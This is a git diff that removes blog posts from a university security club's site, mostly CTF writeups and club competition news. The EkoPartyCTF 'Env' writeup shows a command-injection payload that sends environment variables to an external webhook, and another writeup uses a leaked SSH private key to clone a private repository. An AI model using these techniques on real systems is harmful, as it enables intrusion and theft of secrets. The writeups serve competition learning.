the test pattern. I like to believe that there’s a secret message hidden in the transmission. -> -> [twitch.tv/over_the_air](https://twitch.tv/over_the_air) -> -> Author(s): 0xdade & fdcarl - -## Solution - -This challenge is about the “Please Stand By” screen, presumably. Let’s start by looking there. This screen is displayed during the first 2:09 of [the twitch stream(recording)](https://youtu.be/_QgPMyRBBKM) - -Interesting, after about 1:20 of the usual standby screen, the screen displays an interference effect, then we see some QR code looking things appear in the top corners. - -These QR codes, however, are obviously incomplete, as evidenced by the fractional ‘pixels’ displayed where they meet the edges of the screen. This indicates that we’re probably in for stitching these together… - -Following that, we screenshotted each image. Here they are: - -![A fragment of a QR code](/blog/bsidespdx-please-stand-by-1.png) - -![A fragment of a QR code](/blog/bsidespdx-please-stand-by-2.png) - -![A fragment of a QR code](/blog/bsidespdx-please-stand-by-3.png) - -![A fragment of a QR code](/blog/bsidespdx-please-stand-by-4.png) - -If we think about the regular format for QR codes, we would expect the “Position Patterns” (the square shaped sets of pixels) to be in the corners, so that informs us about the first orientation we should try. - -In [Gimp](https://www.gimp.org/), we can stitch these together, and we get the following: - -![](/blog/bsidespdx-please-stand-by-qr.png) - -When scanned, that QR code becomes the text: - -``` -B̴̡̋S̴̫͂i̷͎͘d̸̅́e̷͌̕s̴̓̈P̶͊̅D̸̑̽Ẍ̶́̑{̷̽́5̴̆͘t̴̒͘A̷͑͆n̸̏̈́d̴̶͗͂̄̑b̶͛͜Y̷̵̖̤̓̇f̵̽͛0̷̾̓r̸̵̛͎͝͝Ã̵̚n̸̶̮̏͑͒!̶́̔m̸̍̋p̵̊̇0̴̆͠r̵͂́ẗ̴̔a̶̒̽n̴̈́͒7̴̎̔_̸͆̾M̵̗̑ĕ̷̈́5̵̊͂5̴̊͂a̶͔͝G̷̉̕ë̸́͐}̷͉̚ -``` - -With a little reading, we can get the flag: - -``` -BSidesPDX{5tAnd_bY_f0r_An_Imp0rtan7_Me55aGe} -``` - -~Lyell diff --git a/content/blog/bsidespdx-xclusive-numborz.md b/content/blog/bsidespdx-xclusive-numborz.md deleted file mode 100644 index faa59a0..0000000 --- a/content/blog/bsidespdx-xclusive-numborz.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: "BSidesPDX - Xclusive Numborz" -author: "Lyell Read" -date: 2020-10-25T00:00:00-07:00 -categories: ['Writeups'] -tags: ['bsidespdx2020'] -caption: "BSidesPDX logo" - -draft: false ---- - -## Prompt - -Category: Over The Air - -290 Points - -8 Solves - -> I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to me but I couldn’t understand what she was saying. Can you figure it out? There’s no space for mistakes, and no room for questions. -> -> [twitch.tv/over_the_air](twitch.tv/over_the_air) -> -> Author(s): 0xdade & fdcarl - -## Solution - -The first challenge was easy, but this one is a little trickier. We are told to listen to the segment where a “little girl” talks, and the name implies that we will be doing some XOR. - -Beginning at [8:24 in the recording of the stream](https://youtu.be/_QgPMyRBBKM?t=504), We hear a child’s voice say “you’re all gonna die down here”, we see a creepy plague doctor image moving around in the background, and a child’s voice speaking letters and numbers in the foreground, finishing with the phrase “are you my mommy” repeated twice. At first the letters and numbers that the child spoke sounded to me like: - -``` -23210C1D0A063D3D3I1419054A3E1C10140D461F0A321C1DIE4D0A2DI1261G1DIE141EIC011G4A120F -``` - -This string uses charset `['0', '1', '2', '3', '4', '5', '6', '9', 'A', 'C', 'D', 'E', 'F', 'G', 'I']`, which is a little odd. - -However on closer inspection, and after consulting my teammates, the string was determined to be: - -``` -23210C1D0A063D3D351419054A3E1C10140D461F0A321C1D5E4D0A2D51261B1D5E141E5C011B4A120F -``` - -This is because I misheard ‘B’ as ‘G’, and ‘5’ as ‘I’, and I did not pick up on the fact that the charset I had was hex with two wrong characters. - -From that string, we can guess that it might be a flag, which has format `BSidesPDX{}`, and infer what the XOR key should start with (we used the assumption that `a^b=c` and `a^c=b`. - -``` -String : 23 21 0C 1D 0A 06 3D 3D 35 14 ... -Key : ? ? ? ? ? ? ? ? ? ? ... -Output : 42 53 69 64 65 73 50 44 58 7b -(Ascii): B S i d e s P D X { - -Key : 61 72 65 79 6f 75 6d 79 6d 6f -(Ascii): a r e y o u m y m o -``` - -That key looks an awful lot like “areyoumymommy”, which is the key for the XOR decryption (“areyoumymommyareyoumymomm”…). - -``` -BSidesPDX{th3_numb3rs_sp34k_4_th3ms3lv3s} -``` - -~Lyell diff --git a/content/blog/bytebanditsctf-string-equals-integer-writeup.md b/content/blog/bytebanditsctf-string-equals-integer-writeup.md deleted file mode 100644 index d753e26..0000000 --- a/content/blog/bytebanditsctf-string-equals-integer-writeup.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: "ByteBanditsCTF - string.equals(integer) Writeup" -author: "Lyell Read" -date: 2020-04-12T00:00:00-07:00 -categories: ['Writeups'] -tags: ['bytebandits'] -caption: "ByteBanditsCTF logo" - -draft: false ---- - -## Prompt - -> Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in the order mentioned in the file hashes.txt into integers? -> -> The answer for this is the multiplication of output of both the functions for the concatenated string. (Wrap the number around flag{}) - -File: [hash.zip](https://github.com/lyellread/ctf-writeups/blob/master/2020-bytebandits/string-equals-integer/hash.zip) - -## Solution - -The problem, after a couple read-throughs and looking at the files provided, makes clear that to generate [hashes.txt](https://github.com/lyellread/ctf-writeups/blob/master/2020-bytebandits/string-equals-integer/hash/hashes.txt), the creator ran the provided [chall.py](https://github.com/lyellread/ctf-writeups/blob/master/2020-bytebandits/string-equals-integer/hash/chall.py). This program includes two hash functions with different moduluses, as well as some driver code. - -The best approach (we could come up with) to crack this (the same way as one would approach cracking a real hash) is to use the hash function to generate a dictionary of results based on all (or many — in this case all) inputs as possible, and then use the dictionary to look up the hash and recieve (hopefully) the source. - -We implemented that in [dict.py](https://github.com/lyellread/ctf-writeups/blob/master/2020-bytebandits/string-equals-integer/dict.py), and after several iterations, we were able to derive a hash dictionary. This dictionary contains all the hashes (for both algorithms) for every unique set of 1 to 100 characters from input files 0-19 (I concatenate them together, and while it is less efficient, it has more values in the dict, in case the problem needs those). - -Then, we swap the keys for values and create a new dictionary. This one, we use to look up each hash of the 10000 in [hashes.txt](https://github.com/lyellread/ctf-writeups/blob/master/2020-bytebandits/string-equals-integer/hash/hashes.txt), and we get a list of “words” (not phonetic words, character sequences). As the problem instructs, we concatenate them, creating a long string. We get the `func1()` and `func2()` hashes of that string, and multiply them together to get: - -``` -flag{82806233047447860} -``` - -~ Lyell Read, Phillip Mestas, Lance Roy diff --git a/content/blog/crowdstrike-adversary-quest-much-sad.md b/content/blog/crowdstrike-adversary-quest-much-sad.md deleted file mode 100644 index 6870d10..0000000 --- a/content/blog/crowdstrike-adversary-quest-much-sad.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: "Crowdstrike Adversary Quest - Much Sad" -author: "Lyell Read" -date: 2021-02-02T00:00:00-07:00 -categories: ['Writeups'] -tags: ['crowdstrike adversary quest'] -caption: "Logo for Crowdstrike Adversary Quest" - -draft: false ---- - -# Prompt - -We have received some information that CATAPULT SPIDER has encrypted a client’s cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom note, is there any way for you to gather more information about the adversary’s online presence? - -NOTE: Flags will be easily identifiable by following the format `CS{some_secret_flag_text}`. They must be submitted in full, including the `CS{ and }` parts. - -Files: [muchsad.txt](https://github.com/lyellread/ctf-writeups/blob/master/2021-crowdstrike-adversary/catapult-spider/much-sad/muchsad.txt) - -## Solution - -First task: understand the file we are provided: - -``` -+------------------------------------------------------------------------------+ -| | -| ,oc, | -| BAD CAT. ,OOxoo, .cl:: | -| ,OOxood, .lxxdod, | -| VERY CRYPTO! :OOxoooo. 'ddddoc:c. | -| :kkxooool. .cdddddc:::o. | -| :kkdoooool;' ;dxdddoooc:::l; | -| dkdooodddddddl:;,''... .,odcldoc:::::ccc; | -| .kxdxkkkkkxxdddddddxxdddddoolccldol:lol:::::::colc | -| 'dkkkkkkkkkddddoddddxkkkkkxdddooolc:coo::;'',::llld | -| .:dkkkkOOOOOkkxddoooodddxkxkkkxddddoc:::oddl:,.';:looo: | -| ':okkkkkkkOO0000Okdooodddddxxxxdxxxxdddddoc:loc;...,codool | -| 'dkOOOOOOkkkO00000Oxdooddxxkkkkkkxxdddxxxdxxxooc,..';:oddlo. | -| ,kOOO0OOkOOOOOO00OOxdooddxOOOOOkkkxxdddxxxxkxxkxolc;cloolclod. | -| .kOOOO0Okd:;,cokOOkxdddddxOO0OOOOOkxddddddxkxkkkkkxxdoooollloxk' | -| l00KKKK0xl,,.',xkkkkkxxxxkOOOkkOkkkkkxddddddxkkkkkkkkxoool::ldkO' | -| '00KXXKK0oo''..ckkkkkkkOkkkkkkxl;'.':oddddddxkkkkkkkkkkkdol::codkO. | -| xKKXXK00Oxl;:lxkkkkkkOOkkddoc,'lx:' ;lddxkkkkkkkxkkkkkxdolclodkO. | -| ;KKXXXK0kOOOOOkkkkOOOOOOkkdoc'.'o,. ..,oxkkkOOOkkkkkkkkkkddoooodxk | -| kKXKKKKKOOO00OOO00000OOOkkxddo:;;;'';:okOO0O0000OOOOOOOOOkkxddddddx | -| .KKKKKKKKOkxxdxkkkOOO000OkkkxkkkkkxxkkkkkOO0KKKKK0OOOO000OOOkkdddddk. | -| xKKKKKKc,''''''';lx00K000OOkkkOOOkkkkkkkkO0KKKKKK0OO0000O000Okkxdkkx | -| 'KK0KKXx. .. ...'xKKKK00OOOOO000000000OO0KKKKKKKKKKKKK0OOOOOkxdkko | -| xKKKKKXx,... .,dKXKK00000000KKKKKKKKKKKKKKKKKKKK000OOOOOOkxddxd. | -| ,KKKKKXKd'..... ..,ck00OOOOOOkO0KKKKKKKKKKKKKKKKKK0OOOOkkkkkkkxdddo. | -| .KKKKK0xc;,......',cok0O0OOOkkkk0KKKK00000KKK000OOOkkkkkkkkkkkxdddd. | -| .KKKKK0dc;,,'''''',:oodxkkkkkkkkkOOOOkOOOOkkkkkkkkkkkkkkkOOkkxdddd, | -| 0KKKKK0x;'. ...';lodxxkkkkkkddkkkkkkkkkkkkkkkkkkOOOOOkkOkkkxddc | -| xKKKKKK0l;'........';cdolc:;;;:lkkkkkkkkkkkkkkkkOO000OOOOOOkxddd. | -| :KKKKK00Oxo:,'',''''...,,,;;:ldxkkkkkkkkkkkkkOkkOOOOOOOOkkkxddd' | -| oKKKKK0OOkxlloloooolloooodddxkkkkkkkkkkkkkkkkkkkkkkkOOkkkxddd. | -| :KKK00OO0OOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkO0Okkkkkkkkxddd: | -| o0KK00000000OOkkkkkkkkkkkkkkkkkkkkkkkkkkO0000Okkkkkkxdo;. | -| 'd00000000OOOOOOkkkkkkkkkkkkkkkkkOkOO00Okkkkkkkkkkko, | -| .oO00000OOOOOkkkkkkkkkkkkkkkkkkOOOOkOOkkkkkkkkko' | -| .;xO0OOOOOOkkkkkkkkkkkkkkkkkkkkkOkkkkkkkkd:. | -| .lxOOOOkkkkkkkkkkkkkkkkkkkxxxkkkkkd:' | -| .;okkkkkkkkxxkkdxxddxdxdolc;'.. | -| ...',;::::::;;,'... | -| | -| MUCH SAD? | -| 1337 DOGE = 1337 DOGE | -| DKaHBkfEJKef6r3L1SmouZZcxgkDPPgAoE | -| SUCH EMAIL shibegoodboi@protonmail.com | -+------------------------------------------------------------------------------+ -``` - -The description mentions that dogecoin is involved, and the hash `DKaHBkfEJKef6r3L1SmouZZcxgkDPPgAoE` is likely related to that. Therefore, our first order of business is to check that lead out. Not being an expert, that dead-ends [here](https://dogechain.info/address/DKaHBkfEJKef6r3L1SmouZZcxgkDPPgAoE). Next, let’s look into that email. - -After some searching, I did a [namechk](https://github.com/lyellread/ctf-writeups/blob/master/2021-crowdstrike-adversary/catapult-spider/much-sad/namechk.com) search for `shibegoodboi`, which indicated that the twitter account `@shibegoodboi` is in use. Looking towards [that account](https://twitter.com/shibegoodboi), we see a new blockchain address or hash of some sort (`D7sUiD5j5SzeSdsAe2DQYWQgkyMUfNpV2v`) and a github account for “shibefan” ([https://github.com/shibefan](https://github.com/shibefan)). That account has the saying “1 DOGE = 1 DOGE” and “shibegoodboi” so we are on the right track, and gives us another blockchain hash of some sort: `D6hRwJbGPxmXGWYfZ7t6S8MRkB7XrBJsLL`. - -The first project listed on that github account is [a website](https://github.com/shibefan/shibefan.github.io), which contains an index.html file that contains our flag: - -``` -CS{shibe_good_boi_doge_to_the_moon} -``` - -~ Lyell diff --git a/content/blog/csaw-prep.md b/content/blog/csaw-prep.md deleted file mode 100644 index 1a963a3..0000000 --- a/content/blog/csaw-prep.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: "CSAW Prep" -author: "Zander Work" -date: 2018-08-01T00:00:00-07:00 -categories: ['Club News'] -tags: ['CSAW', 'CTF'] -caption: "" - -draft: false ---- - -It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows: - -1. Register on CSAW 365 (https://365.csaw.io/) -2. Join our class so that I can keep track of your score (Please check Discord or your email for the class code) -3. Work on solving challenges through the end of August. -4. On September 1st, we will select 4 people to represent OSU if we make it to the finals - a. The total point value that you score is a primary component in the selection process, but if you specialize in an area that others didn’t focus on, you may have priority! - -However, to qualify for the competition, we must compete in another online CTF on September 14th @ 13:00 through September 16th @ 13:00. Any undergraduate student is able to compete in this (no limit on team size), so please let me know if you want to participate! We will be reserving a classroom for the entire 48 hour period so if you want to come work on challenges with other club members, that will be available. You won’t be required to come in person, though. - -If you have questions on any of the CSAW 365 challenges, there is a new channel in the Wargames section called #csaw365 on Discord. Feel free to drop any questions you may have there, and someone will (hopefully) be able to assist you. Also, CSAW created a new website called CTF 101 with lots of good information to get started, so if you don’t have much experience, I’d recommend checking that out: https://ctf101.org/. If you don’t have much/any experience with CTFs, I’d still encourage you to sign up on -CSAW 365 and work on the challenges there, in addition to participating in the qualifiers. It’s a great way to learn. - -If you have any questions, please message an @Officer on Discord. Happy pwning, and good luck! diff --git a/content/blog/cyberforce-competition-2018-results.md b/content/blog/cyberforce-competition-2018-results.md deleted file mode 100644 index 751c2ce..0000000 --- a/content/blog/cyberforce-competition-2018-results.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: "Cyberforce Competition 2018 Results" -author: "Zander Work" -date: 2018-12-04T00:00:00-07:00 -categories: ['Club News'] -tags: [] -caption: "Victory photo of 6 OSUSEC students as well as Yeongjin Jang, and a representative from the Department of Energy." - -draft: false ---- - -I’m thrilled to announce that OSUSEC placed 1st at the Cyberforce Competition last weekend at PNNL, and 3rd nationwide out of 70 teams! I’m very proud of everyone’s hard work, and am already excited with new ideas for next year. The university is sending out a press release on Thursday so I’ll update this post with a link to that when it comes out. - -Link to the competition website: [https://cyberforcecompetition.com/](https://cyberforcecompetition.com/) - -Here’s the team roster, from left to right: - -- Zander Work -- Zach Rogers -- Khuong Luu -- Curtis Warrick -- Yeongjin Jang (Advisor) -- Travis Whitehead -- Hadi Rahal-Arabi -- Jeff Baumgartner (Department of Energy) - -If you are interested in participating in these types of competitions, here are some things you should learn about: - -- Linux system administration -- Windows system administrations -- Network design/concepts -- Cisco IOS - -Great job guys!!! \ No newline at end of file diff --git a/content/blog/cyberforce-competition-2022.md b/content/blog/cyberforce-competition-2022.md deleted file mode 100644 index 8ef716c..0000000 --- a/content/blog/cyberforce-competition-2022.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Cyberforce Competition 2022" -author: "Casey Colley" -date: 2022-11-08T00:00:00-07:00 -categories: ['Club News'] -tags: [] -caption: "Members of OSUSEC’s CDC Team and chaperone Emily Longman" - -draft: false ---- - -This past weekend, OSUSEC’s Cyberdefense Competition team flew out to Chicago, IL to compete in the Department of Energy’s Cyberforce Competition! We were tasked with securing and administering a network of 6 virtual machines, then defending it against a team of hackers. Cyberforce also tests students’ abilities to budget their time and respond to miscellaneous requests from managers relating to the NIST framework for cybersecurity. We brought home 10th place out of 169 teams, and placed 1st place for team style 😎 - -This year, we were also able to play in the Department of Energy’s CTF game “Conquer the Hill: Reign” on-site. The game is super fun and very well done. We had a blast. - -The team consisted of Mike Carris, Sean Mack, Julie Weber, Otso Barron, Gabriel Kulp, and Casey Colley, and was chaperoned by Emily Longman. - -Many thanks to Department of Energy, the Argonne National Laboratory, and especially Amanda Theel for all their endless hard work to put on Cyberforce every year, we really enjoy and appreciate it! diff --git a/content/blog/cyberforce-competition.md b/content/blog/cyberforce-competition.md deleted file mode 100644 index a2b9b61..0000000 --- a/content/blog/cyberforce-competition.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: "Cyberforce Competition" -author: "Zander Work" -date: 2018-09-26T00:00:00-07:00 -categories: ['Club News'] -tags: ['cdc', 'cyberforce'] -caption: "" - -draft: false ---- - -The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready! - -If you are interested in being on the team for this competition, please fill out the form here by October 10th. - -Requirements for applying: - -- You will be able to spend time during October and November preparing for the competition by completing a variety of tasks -- You are able to travel to Washington or California to compete in the competition on November 30th and December 1st - - We will probably be leaving the night of the 29th - -Even if you think you might not be qualified enough, I’d still wholly encourage you to apply. This competition was an awesome experience last year, and I’m sure it’ll be even better this year! diff --git a/content/blog/defcon-qualifiers-2019-redacted-puzzle.md b/content/blog/defcon-qualifiers-2019-redacted-puzzle.md deleted file mode 100644 index b11d174..0000000 --- a/content/blog/defcon-qualifiers-2019-redacted-puzzle.md +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: "DefCon Qualifiers 2019 - redacted-puzzle" -author: "Lyell Read" -date: 2019-05-12T00:00:00-07:00 -categories: ['Writeups'] -tags: [] -caption: "" - -draft: false ---- - -The only file given is a GIF image, named [redacted-puzzle.gif](redacted-puzzle.gif). We must first inspect it: - -``` -$ exiftool redacted-puzzle.gif -ExifTool Version Number : 10.80 -File Name : redacted-puzzle.gif -Directory : . -File Size : 78 kB -File Modification Date/Time : 2019:05:10 17:05:42-07:00 -File Access Date/Time : 2019:05:10 17:05:42-07:00 -File Inode Change Date/Time : 2019:05:10 17:26:26-07:00 -File Permissions : rwxrwxrwx -File Type : GIF -File Type Extension : gif -MIME Type : image/gif -GIF Version : 89a -Image Width : 1280 -Image Height : 720 -Has Color Map : Yes -Color Resolution Depth : 3 -Bits Per Pixel : 2 -Background Color : 3 -Animation Iterations : Infinite -Frame Count : 35 -Duration : 8.75 s -Image Size : 1280x720 -Megapixels : 0.922 -``` - -OK. We know that this is likely a GIF with 35 frames. Let’s try opening it: - -![](/blog/defcon-qualifiers-2019-redacted-puzzle-1.jpg) - -Let’s gather some more information about this GIF: - -``` -$identify -verbose redacted-puzzle.gif - - . . . - - Colormap: - 0: ( 0, 0, 0,255) #000000FF graya(0,1) - 1: ( 0, 0, 0,255) #000000FF graya(0,1) - 2: ( 0, 0, 0,255) #000000FF graya(0,1) - 3: (255,255,255, 0) #FFFFFF00 graya(255,0) - - . . . -``` - -That is a bit of a weird color map… Those should correspond with different colors. Let’s open this image in [gimp](https://www.gimp.org/). We use the `Open as Layers` option to get each frame as an individual layer. - -![](/blog/defcon-qualifiers-2019-redacted-puzzle-2.jpg) - -Much layers. Next, we gotta fix that color mapping issue. `Colors>Map>Set Color Map` and choose `Pallete>Ega`: - -![](/blog/defcon-qualifiers-2019-redacted-puzzle-3.jpg) - -Well, we know what the flag’s alphabet will be. Then, after looking at each slide . . . - -![](/blog/defcon-qualifiers-2019-redacted-puzzle-4.jpg) - -We determined it best to remove the black backgrounds on each. One by one. - -![](/blog/defcon-qualifiers-2019-redacted-puzzle-5.jpg) - -Now we can see them all overlapping. They form some sort of circle: - -![](/blog/defcon-qualifiers-2019-redacted-puzzle-6.jpg) - -Let’s examine only a couple… - -![](/blog/defcon-qualifiers-2019-redacted-puzzle-7.jpg) - -That is intresting. Going off a hunch, we decided to build sets of binary digits representing if the vertex of a frame was where one of the verticies of the overall ‘octagon’, using dots in the background: - -![](/blog/defcon-qualifiers-2019-redacted-puzzle-8.jpg) - -![](/blog/defcon-qualifiers-2019-redacted-puzzle-9.jpg) - -As we repeated that for each layer, the shapes’ verticies started to ‘rotate’, or ‘drift’ (thus why when all overlayed, they formed a circle, not octagon). We decided to track the movment and adjust the background dots. We generated the ‘bytes’: - -``` -verticies = ['10001100', '01100011', '11100100', '01000110', 10000101', '00111101', '01000010', '10011000', '11100000', '11110100', '10000000', '00101101', '01110010', '00011100', '00001000', '10100101', '11010111', '01101110', '10100110', '10010001', '10111100', '10000100', '10000001', '10111001', '11010100', '00111011', '11001110', '11110010', '00011110', '10011101', '11001001', '11000111', '01100101', '00011110', '10011111'] -``` - -Now comes the challenge of making sense of those. We know that the first three should be the same (which they arent) because flags start with `OOO...`. A pattern appears when you concattenate the first couple ‘bytes’: - -``` -100011000110001.... -``` - -That looks to be three identical 5- bit numbers. Concattenating all of the `verticies` and splitting them by 5’s yields: - -``` -cintuplets = ['10001', '10001', '10001', '11110', '01000', '10001', '10100', '00101', '00111', '10101', '00001', '01001', '10001', '11000', '00111', '10100', '10000', '00000', '10110', '10111', '00100', '00111', '00000', '01000', '10100', '10111', '01011', '10110', '11101', '01001', '10100', '10001', '10111', '10010', '00010', '01000', '00011', '01110', '01110', '10100', '00111', '01111', '00111', '01111', '00100', '00111', '10100', '11101', '11001', '00111', '00011', '10110', '01010', '00111', '10100', '11111'] -``` - -Those first couple convert to be 17 in decimal. Coincidentally, at index 17 of our alphabet is the letter ‘O’. - -Note that in [redacted-puzzle-solve.py](https://github.com/lyellread/ctf-writeups/blob/master/defcon-qualifiers-2019/redacted-puzzle-writeup/redacted-puzzle-solve.py) we exclude the location that you started forming the bits for each byte of `verticies` from on the octagon. - -``` -OOO{FORCES-GOVERN+TUBE+FRUIT_GROUP=FALLREMEMBER_WEATHER} -``` diff --git a/content/blog/doe-cyberforce-competition-2021.md b/content/blog/doe-cyberforce-competition-2021.md deleted file mode 100644 index b342bd7..0000000 --- a/content/blog/doe-cyberforce-competition-2021.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: "DOE Cyberforce Competition 2021" -author: "Lyell Read" -date: 2021-11-21T00:00:00-07:00 -categories: ['Club News'] -tags: ['cyberforce'] -caption: "Cyberforce Competition logo" - -draft: false ---- - -On Nov. 13, 2021, the OSUSEC Cyber Defense Competition (CDC) Team placed 1st place regionally and 7th nationwide in the Department of Energy’s annual Cyberforce Competition ([https://cyberforcecompetition.com/](https://cyberforcecompetition.com/)) out of the 135 teams registered for the competition. - -The team roster was: - -- Casey Colley (Captain) -- Mike Carris -- Robert Detjens -- Brandon Ellis -- Huy Nguyen -- Lyell Read - -The final scoreboard was as follows, if a link to an official final scoreboard is made available, I will link it here. - -![Screenshot of the scoreboard, showing Oregon State University in 7th place](/blog/doe-cyberforce-competition-2021-scoreboard.png) - -We look forward to returning next year, even better prepared for the new competition format! - -Well done team!! diff --git a/content/blog/ekopartyctf-docs.md b/content/blog/ekopartyctf-docs.md deleted file mode 100644 index 315a404..0000000 --- a/content/blog/ekopartyctf-docs.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: "EkoPartyCTF - Docs" -author: "Lyell Read" -date: 2020-09-28T00:00:00-07:00 -categories: ['Writeups'] -tags: ['ekoparty2020'] -caption: "EkoPartyCTF logo" - -draft: false ---- - -EkoParty CTF 2020 Git 2 - -# Prompt - -Exact prompt has been forgotten. Linked to [this GitHub repo](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs/ekolabs.tar.gz) - -# Solution - -As I mentioned in the writeup for [leak](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/leak), I was in a very `github`by mindset when I started this challenge. For that reason, I solved this challenge first. - -A quick inspection of the repo shows that it features an accidentally committed SSH private key and matching public key. I copied the text of these out of the commit log, and into [chall](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs/chall) and [chall.pub](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs/chall.pub). Now I have ssh access, however what to? - -The next part of this challenge involves the git actions for the repo, in `.github/workflows/`. In there we get an `issue-bouncer.yml` and corresponding `issue-bouncer.py`. Reading through these two, we notice something useful: - -``` -DST_REPO: 'ekoparty2020/ekoparty-internal' -``` - -The python script essentially moves an issue to that `DST_REPO`, so I figured why not try to clone it? - -``` -eval `ssh-agent` && ssh-add chall && git clone git@github.com:ekoparty2020/ekoparty-internal.git -``` - -> Note: I had to modify permissions on the private key `chall` to get this to work. - -This clones [the internal repo](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs/ekoparty-internal.tar.gz), which conveniently features our flag in the root README.md - -``` -EKO{1ca688c86b0548d8f26675d85dd77d73c573ebb6} -``` - -~ Lyell Read diff --git a/content/blog/ekopartyctf-env.md b/content/blog/ekopartyctf-env.md deleted file mode 100644 index 2c56f6d..0000000 --- a/content/blog/ekopartyctf-env.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: "EkoPartyCTF - Env" -author: "Lyell Read" -date: 2020-09-28T00:00:00-07:00 -categories: ['Writeups'] -tags: ['ekoparty2020'] -caption: "EkoPartyCTF logo" - -draft: false ---- - -EkoParty CTF 2020 Git 3 - -## Prompt - -Not too sure of the original prompt, however I did not need it. - -## Solution - -After [the second part of the git challenge saga](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs), we have gotten a new repository with some new github actions. We know, before analyzing these however, that: - -- Issues filed to the `ekolabs` repo will be ‘moved’ to the `ekoparty-internal` repo. -- We control content in the submitted issues, and this is copied to the new issues in `ekoparty-internal` repo. - -That’s good information. Now let’s examine the actions for this repo – we are provided an `issue-notify.py` and an `issue-notify.yml`. At first glance at the python script, we see two interesting things: - -- The script checks `if 'very important' in title:` before executing an `os.system()` call -- The script runs our ‘user input’ (the body of the issue) in the call to `os.system()`. - -What can we do with this? If we put “very important” in the title, and we include a specific body, we can execute arbitrary commands using the call to `os.system()`. How so? - -``` -os.system('echo "%s" > /tmp/%s' % (body, notify_id)) -``` - -This line is vulnerable, as the `body` of our issue is placed in it’s entirety in the place of the first `%s`, so if we were to enter `"`, this would become: - -``` -os.system('echo """ > /tmp/%s' % (body, notify_id)) -``` - -Which would echo an empty string to `/tmp/$notify_id`. This will not do, however, so we need something more complicated to do the trick. Maybe something like sending `body` of `"; sleep 10; echo "` will do better, as it will turn into: - -``` -os.system('echo ""; sleep 10; echo "" > /tmp/%s' % (body, notify_id)) -``` - -> Note: I did not come up with this all in one shot, I had to prototype it. I did this with the [test.py](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/env/test.py) script. - -This will execute the `sleep 10` just fine. We have code execution now, we just need to find out what to do with it. The challenge name indicates the flag is likely stored in the environment variables so we know where to look, but how to extract this info from the server? - -To determine what tools are available for use, I looked to `issue-notify.yml`: - -``` - runs-on: ubuntu-latest - steps: - - ... - - - name: Set up Python3 - if: ${{ success() }} - uses: actions/setup-python@v1 - with: - python-version: "3.7" -``` - -We at least have a default installation of Python 3.7 to work with, that’s pretty good. To make use of that, we will need to have somewhere to send it, and that’s where a webhook tester, something that captures and displays (in this case) http requests sent to it. For this I used PipeDream. It provides you with a link to send requests to. - -From there, it’s as easy as getting the environment variables `os.environ`, and sending them home to PipeDream with a little one-line bash / python script of sorts: - -``` -" && python3 -c "import requests; message = {'message': str(os.environ)}; r = requests.post('https://e756afb172e9b06dad06e8cfeff52a32.m.pipedream.net',data = message);" && echo " -``` - -That’s all there is to it: sending that returns [envs](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/env/envs) to PipeDream, and it’s right in there. - -``` -EKO{b08bb4814d581e6a91b3501f8c63c7786fe624e1} -``` - -~ Lyell Read diff --git a/content/blog/ekopartyctf-leak.md b/content/blog/ekopartyctf-leak.md deleted file mode 100644 index a40751d..0000000 --- a/content/blog/ekopartyctf-leak.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: "EkoPartyCTF - Leak" -author: "Lyell Read" -date: 2020-09-28T00:00:00-07:00 -categories: ['Writeups'] -tags: ['ekoparty2020'] -caption: "EkoPartyCTF logo" - -draft: false ---- - -EkoParty CTF 2020 Git 1 - -## Prompt - -Exact prompt has been forgotten. Linked to [this GitHub repo](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/leak/ekolabs.tar.gz) - -## Solution - -This solution was quite obscure, as I approached this challenge in a `github` mindset, not a `ctf::misc` one. In light of this, I solved [the second challenge](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs) first 😛 - -When I got on to solving this one, it took me several runs through the full commit history of the repo before seeing this: - -``` -$ git log -p - -... - -commit c21dbf5185a4dbdb5b2bd2f3d1d3b266c3a2271e -Author: Matías A. Ré Medina -Date: Fri Sep 11 13:03:19 2020 -0400 - - oops - -... - -diff --git a/.ssh/id_rsa.pub b/.ssh/id_rsa.pub -deleted file mode 100644 -index 3cf8765..0000000 ---- a/.ssh/id_rsa.pub -+++ /dev/null -@@ -1 +0,0 @@ --ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRKS8bh5B2ctUxrS0JsrlYmw/pJPOr7N3BRtdrdswXu7An -oxohsNX7D6gPt5oHb3Map2XMSqj3ukDrBWgL/qfiCfU4g5Fc1J4QkedDTiDq2+YeanaLgKyPqrvrg+lZwOIhf -NXSliaxKI+YqgEy+n8s4ZhPGQYbpPjxDW/2ubn7iz60G+Px7q6BVvmRZlHe2IWylmG1WagL3pHFsJ83UyfgyF -dvPqYoDkjVK+/+E4IGXaKXwHst2sVC+6DEU1YF3jJXFqeunY+Q3/dgxWXIbF7qpYGGJusEziHzjPX7Kwk4t1a 